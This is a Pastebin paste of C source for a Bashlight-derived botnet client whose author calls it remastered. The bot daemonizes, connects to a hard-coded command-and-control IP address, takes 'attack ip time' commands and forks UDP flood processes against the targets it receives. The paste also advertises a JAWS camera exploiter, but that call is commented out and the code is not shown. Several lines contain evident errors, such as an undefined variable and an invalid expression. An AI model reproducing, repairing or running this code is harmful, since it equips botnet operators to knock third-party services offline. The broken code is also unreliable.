Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Hello, im Darks
- This is Bashlight by lightspeed
- but remastered and shrinked by
- the one and only dark.
- We do not use '!* attack ip port time'
- We use 'attack ip time'
- This bot has a modded std attack and a JAWS/1.0 mass exploiter.
- line 218 for config port, ip
- */
- #define _GNU_SOURCE
- #include <stdlib.h>
- #include <stdarg.h>
- #include <stdio.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <signal.h>
- #include <strings.h>
- #include <string.h>
- #include <sys/utsname.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <netinet/tcp.h>
- #include <sys/wait.h>
- #include <sys/ioctl.h>
- #include <net/if.h>
- #include <time.h>
- #include <ctype.h>
- #include <sys/prctl.h>
- #include <sys/select.h>
- #define PHI 0x9e3779b9
- typedef uint32_t ipv4_t;
- char *inet_ntoa(struct in_addr in);
- int cfyfa = 0, currentServer = -1, gotIP = 0;
- uint32_t *pids;
- uint32_t scanPid;
- uint32_t killPid;
- uint64_t numpids = 0;
- struct in_addr ourIP;
- static uint32_t Q[4096], c = 362436;
- void init_rand(uint32_t x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
- }
- uint32_t rand_cmwc(void)
- {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (uint32_t)(t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- void trim(char *str)
- {
- int i;
- int begin = 0;
- int end = strlen(str) - 1;
- while (isspace(str[begin])) begin++;
- while ((end >= begin) && isspace(str[end])) end--;
- for (i = begin; i <= end; i++) str[i - begin] = str[i];
- str[i - begin] = '\0';
- }
- static int *fdopen_pids;
- int getHost(unsigned char *toGet, struct in_addr *i)
- {
- struct hostent *h;
- if((i->s_addr = inet_addr(toGet)) == -1) return 1;
- return 0;
- }
- int recvLine(int socket, unsigned char *buf, int bufsize)
- {
- memset(buf, 0, bufsize);
- fd_set myset;
- struct timeval tv;
- tv.tv_sec = 30;
- tv.tv_usec = 0;
- FD_ZERO(&myset);
- FD_SET(socket, &myset);
- int selectRtn, retryCount;
- if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
- while(retryCount < 10)
- {
- tv.tv_sec = 30;
- tv.tv_usec = 0;
- FD_ZERO(&myset);
- FD_SET(socket, &myset);
- if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
- retryCount++;
- continue;
- }
- break;
- }
- }
- unsigned char tmpchr;
- unsigned char *cp;
- int count = 0;
- cp = buf;
- while(bufsize-- > 1)
- {
- if(recv(cfyfa, &tmpchr, 1, 0) != 1) {
- *cp = 0x00;
- return -1;
- }
- *cp++ = tmpchr;
- if(tmpchr == '\n') break;
- count++;
- }
- *cp = 0x00;
- return count;
- }
- int listFork()
- {
- uint32_t parent, *newpids, i;
- parent = fork();
- if (parent <= 0) return parent;
- numpids++;
- newpids = (uint32_t*)malloc((numpids + 1) * 4);
- for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
- newpids[numpids - 1] = parent;
- free(pids);
- pids = newpids;
- return parent;
- }
- void sendSTD(unsigned char *ip, int port, int secs) {
- int iSTD_Sock;
- iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
- time_t start = time(NULL);
- struct sockaddr_in sin;
- struct hostent *hp;
- hp = gethostbyname(ip);
- bzero((char*) &sin,sizeof(sin));
- bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
- sin.sin_family = hp->h_addrtype;
- sin.sin_port = port;
- unsigned int a = 0;
- while(1)
- {
- char *STD2_STRING = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
- if (a >= 550000)
- {
- send(iSTD_Sock, STD2_STRING, strlen(STD2_STRING), 0);
- connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
- if (time(NULL) >= start + secs) {
- close(iSTD_Sock);
- _exit(0);
- }
- a = 0;
- }
- a++;
- }
- }
- void processCmd(int argc, unsigned char *argv[])
- {
- if(!strcmp(argv[0], "attack")) {
- unsigned char *ip = argv[1];
- int time = atoi(argv[3]);
- if(strstr(ip, ",") != NULL) {
- unsigned char *hi = strtok(ip, ",");
- while(hi != NULL) {
- if(!listFork()) {
- int port = rand() % 10000 ;
- sendSTD(hi, port, time);
- _exit(0); }
- hi = strtok(NULL, ","); }
- } else {
- if (listFork()) { return; }
- sendSTD(ip, port, time);
- _exit(0);
- }
- }
- }
- int intcon(int port, char *host)
- {
- cfyfa = socket(AF_INET, SOCK_STREAM, 0);
- struct sockaddr_in dest_addr;
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_port = htons(port);
- if(getHost(host, &dest_addr.sin_addr)) return 0;
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- connect(cfyfa, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
- return 1;
- }
- int main(int argc, unsigned char *argv[])
- {
- setsid();
- chdir("/");
- signal(SIGPIPE, SIG_IGN);
- //InfectJAWS();
- while(1)
- {
- if(intcon(12, "212.237.10.177"));
- char commBuf[1024];
- int got = 0;
- int i = 0;
- while((got = recvLine(cfyfa, commBuf, 4096)) != -1)
- {
- for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
- unsigned int *newpids, on;
- for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
- pids[on - 1] = 0;
- numpids--;
- newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
- for (on = 0; on < numpids; on++) newpids[on] = pids[on];
- free(pids);
- pids = newpids;
- }
- commBuf[got] = 0x00;
- trim(commBuf);
- unsigned char *message = commBuf;
- if(*sizeof(message) != 0)
- {
- unsigned char *nickMask = message + 1;
- while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
- if(*nickMask == 0x00) continue;
- *(nickMask) = 0x00;
- nickMask = message + 1;
- message = message + strlen(nickMask) + 2;
- while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
- unsigned char *command = message;
- while(*message != ' ' && *message != 0x00) message++;
- *message = 0x00;
- message++;
- unsigned char *tmpcommand = command;
- while(*tmpcommand)
- {
- *tmpcommand = toupper(*tmpcommand);
- tmpcommand++;
- }
- unsigned char *params[10];
- int paramsCount = 1;
- unsigned char *pch = strtok(message, " ");
- params[0] = command;
- processCmd(paramsCount, params);
- }
- }
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement